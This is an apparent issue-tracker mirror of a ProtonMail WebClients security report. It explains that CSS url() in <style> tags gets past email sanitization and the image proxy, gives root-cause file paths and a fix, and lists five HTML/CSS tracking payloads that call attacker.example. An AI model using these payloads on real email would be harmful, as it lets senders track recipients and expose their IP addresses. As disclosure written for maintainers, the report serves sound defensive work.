ProtonMail / ProtonMail/WebClients

[Security] CSS url() in <style> tags survives email sanitization - open tracking + IP leak bypassing image proxy

Open
#523 0 comments 0 reactions 0 assignees View on GitHub

Nobody has claimed this yet.

Dominant language
TypeScript
Stars
5.6k
Forks
715
PR merge metrics
No merged PRs in 30d

Description

Summary

CSS url() references inside <style> tags survive the entire email sanitization pipeline, defeating the image proxy's purpose (open-tracking protection + IP leak prevention).

Root cause

Three facts compose:

  1. <style> tags are not forbidden by the mail-rendering DOMPurify config. packages/sanitize/src/purify.ts:45-46 — the protonizer config sets FORBID_TAGS: ['form', 'video', 'audio'] only (deliberately allowing style, "will be processed by juice afterward"). Note the default DEFAULT config at line 37 does forbid style — the gap is protonizer-specific.

  2. transformStylesheet never neutralizes url(). packages/mail-renderer/helpers/transforms/transformStylesheet.ts:108-115 only rewrites overlay position, height-dependent media queries, and min-heighturl() (background-image, @import, @font-face, cursor, etc.) is left untouched.

  3. The image proxy only rewrites <img> tags, not CSS URLs — so url() fetches go directly to the attacker's server, exposing the recipient's IP and confirming the email was opened.

Rendering pipeline confirmed: packages/mail-renderer/helpers/transforms/transformEscape.ts:3 imports protonizer from @proton/sanitize/purify.

Payloads that survive

<style>body { background: url(https://attacker.example/track1) }</style>
<style>@import url(https://attacker.example/track2);</style>
<style>.x { background-image: url(https://attacker.example/track3) }</style>
<style>@font-face { src: url(https://attacker.example/track4) }</style>
<style>@import "https://attacker.example/track5";</style>

Impact

  • Email open tracking (read receipts) — bypasses the image proxy that exists specifically to prevent this.
  • Recipient IP address disclosure to the sender.
  • For a privacy-first product this contradicts a core user expectation. Severity: Low–Medium.

Suggested fix

Neutralize url() inside <style> content in transformStylesheet.ts (e.g., reuse the existing escapeURLinStyle helper from packages/sanitize/src/escape on styleTag.textContent), and/or forbid <style> in the protonizer config (matching the DEFAULT config), or route CSS subresources through the proxy.

Contributor guide

Open the contributing guide

First steps

  1. Read the whole issue, then the project's contributing guide.
  2. Comment on the issue to say you are picking it up — it saves two people doing the same work.
  3. Fork the repository and make your change on a branch.
  4. Open a pull request that references the issue number.

Research direction

Start with packages/sanitize/src/purify.ts:45-46 and packages/mail-renderer/helpers/transforms/transformStylesheet.ts:108-115, then trace the protonizer import in transformEscape.ts. Check the listed style payloads through the email sanitization and rendering pipeline. Done means CSS url() resources no longer bypass sanitization or the image proxy.

Written by the indexing model from the issue text.

Assessment

Tech stack
typescript
Domain
security
Issue type
Bug
Difficulty
4/5
Estimated time
3-5 days
Activity status
Quiet
Clarity
Mostly clear
Newbie friendliness
55/100

Get new issues in your inbox

A short digest of beginner-friendly GitHub issues.